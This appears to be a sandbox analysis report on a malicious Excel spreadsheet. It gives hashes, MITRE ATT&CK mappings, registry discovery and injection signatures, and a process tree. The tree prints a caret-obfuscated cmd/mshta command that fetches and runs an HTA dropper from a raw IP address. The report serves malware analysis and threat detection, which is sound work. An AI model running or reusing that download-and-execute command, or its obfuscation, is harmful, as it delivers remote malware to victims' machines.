3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033

General

Target

3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033.xls
Size

65KB
MD5

5ed645d805d6e4a8e25f6a88dcd77925
SHA1

17f632acf18222e948c5cebdb8984e4181880fdd
SHA256

3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033
SHA512

efead51504ad224258db601ff3fa0867237a84ce5cdaeedcfc7d11524732e1a18b00ab4adab9d75c07d7a96f5a0803e8abade8f1511b92ca8144e32ec79dfabb
SSDEEP

1536:zVyk3hbdlylKsgqopeJBWhZFGkE+cL2NdAwzMk9B+oowzMk9A+oos:z8k3hbdlylKsgqopeJBWhZFGkE+cL2N/

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/aa.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3184	4240	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

21 3740 mshta.exe

flow	pid	process
21	3740	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4240 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE
4240	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4240 wrote to memory of 3184	4240	EXCEL.EXE	cmd.exe
PID 4240 wrote to memory of 3184	4240	EXCEL.EXE	cmd.exe
PID 3184 wrote to memory of 3740	3184	cmd.exe	mshta.exe
PID 3184 wrote to memory of 3740	3184	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3ee11be1ab0b3f9e9bf14fd4a9c36e3fbd7e2ab3020c77f8b632491f613d9033.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4240
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3184
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    PID:3740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
9729553359e17dbe10aaf4e45ee2c6ab

SHA1
947fea79a83a463053c0af526ba3b84dbeb455d8

SHA256
d20d63078816d2b2981ac6e18c2a3621da5efa57d14321b11afd43e73e3df7d2

SHA512
f960743d7aff0f0f7a1622666f3b232041529a397cc13d4061726963ab0eb465e0dee0f3f27c13472384f27e3210a73287e30d350d9e354c34bbcc14bd089ea7

Download Submit
memory/4240-14-0x00007FF9FCA50000-0x00007FF9FCA60000-memory.dmp

Filesize
64KB

Download
memory/4240-1-0x00007FFA3ED6D000-0x00007FFA3ED6E000-memory.dmp

Filesize
4KB

Download
memory/4240-13-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-6-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-15-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-0-0x00007FF9FED50000-0x00007FF9FED60000-memory.dmp

Filesize
64KB

Download
memory/4240-8-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-21-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-11-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-12-0x00007FF9FCA50000-0x00007FF9FCA60000-memory.dmp

Filesize
64KB

Download
memory/4240-7-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-4-0x00007FF9FED50000-0x00007FF9FED60000-memory.dmp

Filesize
64KB

Download
memory/4240-2-0x00007FF9FED50000-0x00007FF9FED60000-memory.dmp

Filesize
64KB

Download
memory/4240-5-0x00007FF9FED50000-0x00007FF9FED60000-memory.dmp

Filesize
64KB

Download
memory/4240-10-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-20-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-19-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-18-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-17-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-16-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-9-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-32-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-33-0x00007FFA3ED6D000-0x00007FFA3ED6E000-memory.dmp

Filesize
4KB

Download
memory/4240-34-0x00007FFA3ECD0000-0x00007FFA3EEC5000-memory.dmp

Filesize
2.0MB

Download
memory/4240-3-0x00007FF9FED50000-0x00007FF9FED60000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads